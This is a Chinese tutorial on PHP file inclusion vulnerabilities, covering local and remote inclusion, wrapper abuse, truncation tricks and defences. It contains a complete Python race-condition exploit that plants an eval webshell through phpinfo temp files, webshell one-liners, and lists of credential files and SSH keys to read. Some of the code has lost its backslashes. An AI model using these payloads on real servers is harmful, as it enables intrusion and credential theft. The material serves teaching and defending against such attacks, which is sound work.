文件包含
概述
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写
重文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在
常见文件包含函数
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和 require_once():若文件中代码已被包含则不会再次包含
文件包含漏洞代码分析

$_GET[‘filename’] 接收客户端传的参数,其中没有任何过滤 带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞
文件包含漏洞利用方法
文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且是权限是可读,才能引入进来,或远程包含进来,但是需要条件
本地包含文件
本地包含文件,被包含的文件在本地
文件包含/etc/passwd

../是上一级路径。如果存在漏洞,文件又存在的时候,不是 php 文件会被读取显示在页面中。/etc/passwd 文件是 linux 里的敏感信息,文件里存有 linux 用户的配置信息
文件包含图片
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行。
保存为 shell.jpg
上传图片格式到网站 再用文件包含漏洞引入图片 成功执行代码

包含日志文件getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。使用 burpsuite 访问 GET 填写 <? php phpinfo();eval($_POST[cmd]);?>

在linux下日志文件权限默认是 root 而php的权限是 www-data 一般情况下都是读取不了,如果是windows 环境下是可以权限是允许的
linux 默认的 apache 日志文件路径是
访问日志 /var/log/apache2/access.log
错误日志 /var/log/apache2/error.log 把文件日志包含进来即可
包含环境变量getshell
修改User-Agen填写php代码

/proc/self/environ这个文件里保存了系统一些变量
如果权限足够,包含这个文件就能getshell
phpinfo文件包含临时文件
利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成一句话后门
1.php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除
2.phpinfo 可以输出$_FILE 信息
3.通过多种方式争取时间,在临时文件删除前进行执行包含
1)通过在数据报文中加入大量的垃圾数据,似 phpinfo 页面过大,导致 phpinfo 页面过大,导致php 输出进入流式输出,并不一次输出完毕
2)通过大量请求来延迟 php 脚本的执行速度 php post 方式上传任意文件,服务器都会创建临时文件来保存文件内容。 在 HTTP 协议中为了方便进行文件传输,规定了一种基于表单的 HTML 文件传输方法 其中要确保上传表单的属性是 enctype="multipart/form-data" 其中 PHP 引擎对 enctype="multipart/form-data"这种请求的处理过程如下:
1、请求到达;
2、创建临时文件,并写入上传文件的内容;
3、调用相应 PHP 脚本进行处理,如校验名称、大小等;
4、删除临时文件。 PHP 引擎会首先将文件内容保存到临时文件,然后进行相应的操作。临时文件的名称是php+随机字符
$_FILES 信息,包括临时文件路径、名称
在 PHP 中,有超全局变量$_FILES,保存上传文件的信息,包括文件名、类型、临时文件名、错误代号、大小
把文件上传到 phpinfo 获取临时文件路径
<!doctype html>
<html>
<body>
<form action="http://192.168.0.103/06/phpinfo.php" method="POST"
enctype="multipart/form-data">
<h3> Test upload tmp file</h3>
<label for="file">Filename:</label>
<input type="file" name="file"/><br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

通过 phpinfo 临时文件 getshell
php 本地包含文件利用脚本 修改利用的路径和文件即可。
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%sr
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
具体原理
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,
就上传我们的恶意文件,然后文件包含:
1)发送包含了 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数据;
2)phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非大
3)PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
4)所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5)此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
6)我们可以利用这个时间差,成功包含临时文件,最后 getshell

我们就可以通过网站的文件包含漏洞去包含执行恶意代码
伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini参数设置
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
各协议的利用条件和方法

php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容
当作文件内容。
注:当 enctype="multipart/form-data",php://input 是无效的。
php.ini 条件是 allow_url_fopen =ON allow_url_include=ON

设置请求为 post 请求 在正文输入 php 代码<?php phpinfo();?>提交即可允许
file://访问本地文件
在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
file:///etc/passwd

读取相对路径文件
http://192.168.0.103/lfi.php?file=./01/php.ini
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行 php 代码

php://filter 参数详解


可用的过滤器列表(4 类)


使用协议读取文件源码
php://filter/read=convert.base64-encode/resource=/etc/passwd

读取文件后再进行 base64 解码

phar://、zip://、bzip2://、zlib://
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
phar://
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
data:// 协议
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
文件包含常用路径
包含日志文件 getshell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
包含远程文件
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On
allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
http://192.168.0.103/lfi.php?file=http://192.168.0.103/shell.txt
192.168.0.103 设置为远程的 ip

文件包含截断攻击
文件包含截断攻击,在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成 截断会失败

传入 file 文件名拼接.php 在用 include 引入文件。file 参数可控的会造成漏洞
文件包含%00 截断
上传带有恶意代码的文件到网站目录,包含引入再进行 00 截断
当前测试的版本是 php 5.2.17 gpc=off

超长文件包含截断
这个合适于 win32 可以使用.进行截断 和 .
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)
利用操作系统对目录最大长度限制。
在 window 下 256 字节
linux 下 4096 字节
点截断
http://include.moonteam.com/file02.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………

/.截断

远程包含截断
适用于远程截断的字符有

以上这个字符都可以截断
allow_url_fopen =On
allow_url_include=On
http://192.168.0.103/lfi2.php?file=http://192.168.0.103/shell.txt?

文件包含漏洞防御方案
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)。
5.设置 allow_url_include 为 Off
更新: 2025-05-06 21:45:19
原文: https://www.yuque.com/yuhui.net/network/vaxo1gcw4yut75qg

评论(0)
暂无评论